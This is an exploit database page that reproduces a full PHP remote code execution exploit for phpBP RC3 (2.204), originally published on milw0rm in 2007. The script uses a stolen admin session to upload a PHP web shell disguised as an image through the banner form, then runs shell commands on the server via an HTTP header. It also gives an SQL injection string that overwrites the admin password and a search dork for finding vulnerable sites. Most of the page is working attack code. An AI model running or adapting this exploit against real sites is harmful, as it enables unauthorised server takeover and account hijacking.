Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

phpBP <= RC3 (2.204) (sql/cmd) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 31 Views

phpBP <= RC3 (2.204) Remote Code Executio

Code

                                                &#60;?
//**************************************************************
//Kacper & str0ke Settings 
$exploit_name = &#34;phpBP &#60;= RC3 (2.204) (sql/cmd) Remote Code Execution Exploit&#34;;
$script_name = &#34;phpBP RC3 (2.204)&#34;;
$script_site = &#34;http://www.phpbp.com/&#34;;
$dork = &#39;Silnik strony jest chroniony prawami autorskimi PHP BP Team&#39;;
//to work exploit you need admin session
//**************************************************************
print &#39;
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
 

[Exploit name: &#39;.$exploit_name.&#39;
[Script name: &#39;.$script_name.&#39;
[Script site: &#39;.$script_site.&#39;
dork: &#39;.$dork.&#39;

Find by: Kacper (a.k.a Rahim)
Blog: http://kacper.bblog.pl/

DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam
DEVIL TEAM HOME: http://www.rahim.webd.pl/

Contact: [email protected]

(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon | friend str0ke ;)

pepi, D0han, d3m0n, D3m0n (ziom z Niemiec :P)
dn0de, DUREK5, fdj, konsol, mass, michalind, mIvus, nukedclx, QunZ,
RebeL, SkD, Adam, drzewko, Leito, LEON, TomZen, dub1osu, ghost, WRB

 and
 
Dr Max Virus
TamTurk,
hackersecurity.org
and all exploit publishers
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                Greetings for 4ll Fusi0n Group members ;-)
                and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

            Kacper Hacking & Security Blog: http://kacper.bblog.pl/
&#39;;
/*
Exploit upload evil script when admin add new banner in portal.

i Find some errors in forum. Enter in comment forum:
                                                                                                                                                                                                                                                                                 */
//fajny&#39;;UPDATE/**/`22_users`/**/SET/**/`pass`/**/=/**/&#39;6a8f25e5b30777a0435c22fe36f45e3c&#39;,`buddies`/**/=/**/NULL,`forum_subscribed`/**/=/**/NULL,`forum_subscribed_clicked`/**/=/**/NULL,`forum_unsubscribe`/**/=/**/NULL/**/WHERE/**/`id`/**/=/**/&#39;1&#39;/**/LIMIT/**/1;
/*
then you can insert SQL code :)
*/
if ($argc&#60;5) {
print_r(&#39;
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage: php &#39;.$argv[0].&#39; host path admin_session cmd OPTIONS
host:       target server (ip/hostname)
path:       phpBP Forum path
admin_session: admin session id
cmd:        a shell command (ls -la)
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; 2.2.2.2 /phpBP/ d6c6cae3dfea20a0a5358fc9baff47be ls -la -P1.1.1.1:80
php &#39;.$argv[0].&#39; 2.2.2.2 /phpBP/ d6c6cae3dfea20a0a5358fc9baff47be ls -la
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
&#39;);
die;
}
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);
function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$adsess=$argv[3];
$cmd=&#34;&#34;;
$port=80;
$proxy=&#34;&#34;;
for ($i=4; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;)) {$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
echo &#34;Connected...\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;url\&#34;;\r\n\r\n&#34;;
$data.=&#34;http://kacper.bblog.pl/\r\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;limit\&#34;;\r\n\r\n&#34;;
$data.=&#34;0\r\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;image\&#34;;\r\n\r\n&#34;;
$data.=&#34;1\r\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;form\&#34;;\r\n\r\n&#34;;
$data.=&#34;1\r\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;image_form\&#34; filename=\&#34;d.jpg.vil.gif.php\&#34;;\r\n\r\n&#34;;
$data.=&#34;Content-Type: text/plain\r\n&#34;;
$data.=&#34;Content-Transfer-Encoding: binary\r\n&#34;;
$data.=&#39;&#60;?php ob_clean();//Ruchomy zamek Hauru ;-)echo&#34;...Hacker..Kacper..Made..in..Poland!!...DEVIL.TEAM..the..best..polish..team..Greetz...&#34;;echo&#34;...Go To DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam&#34;;echo&#34;...DEVIL TEAM SITE: http://www.rahim.webd.pl/&#34;;ini_set(&#34;max_execution_time&#34;,0);echo &#34;Hauru&#34;;passthru($_SERVER[HTTP_HAURU]);die;?&#62;\r\n&#39;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;image_http\&#34;;\r\n\r\n&#34;;
$data.=&#34;http://\r\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;swf\&#34;;\r\n\r\n&#34;;
$data.=&#34;0\r\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;alt\&#34;;\r\n\r\n&#34;;
$data.=&#34;0\r\n&#34;;
$data =&#34;--H4ck\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;submit\&#34;;\r\n\r\n&#34;;
$data.=&#34;Add\r\n&#34;;
$data.=&#34;--H4ck--\r\n&#34;;
echo &#34;wait now insert evil code...\n&#34;;
$packet =&#34;POST &#34;.$p.&#34;index.php?module=admin&action=banners&cmd=add HTTP/1.0\r\n&#34;;
$packet.=&#34;Cookie: phpBP2=&#34;.$adsess.&#34;;\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=--H4ck\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacket($packet);
$packet =&#34;GET &#34;.$p.&#34;index.php?module=admin&action=banners HTTP/1.0\r\n&#34;;
$packet.=&#34;Cookie: phpBP2=&#34;.$adsess.&#34;;\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacket($packet);
$temp=explode(&#39;&#60;TD CLASS=&#34;row_1&#34; ALIGN=&#34;CENTER&#34;&#62;&#60;A HREF=&#34;upload/banners/&#39;,$html);
$temp2=explode(&#39;.php&#34; TARGET=&#34;_blank&#34;&#62;&#39;,$temp[1]);
$uploadid=trim($temp2[0]);
if ($uploadid) {echo &#34;Step 1\n&#34;;
echo &#34;Upload id: &#34;.$uploadid.&#34;\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;upload/banners/&#34;.$uploadid.&#34;.php HTTP/1.0\r\n&#34;;
$packet.=&#34;HAURU: &#34;.$cmd.&#34;\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacket($packet);
sleep(1);
}else {
echo &#34;exploit failed... can&#39;t upload script :/\n&#34;;
echo &#34;Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n&#34;;
die(&#34;\n\nClose Connection&#34;);
}
if (strstr($html,&#34;Hauru&#34;))
{
$temp=explode(&#34;Hauru&#34;,$html);
die($temp[1]);
}
?&#62;

# milw0rm.com [2007-01-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
phpbprc3remote code executionsqlcommandexploitkacperstr0kevulnerabilityadmin sessionwebsitedorkdevil teampolish teamirc
31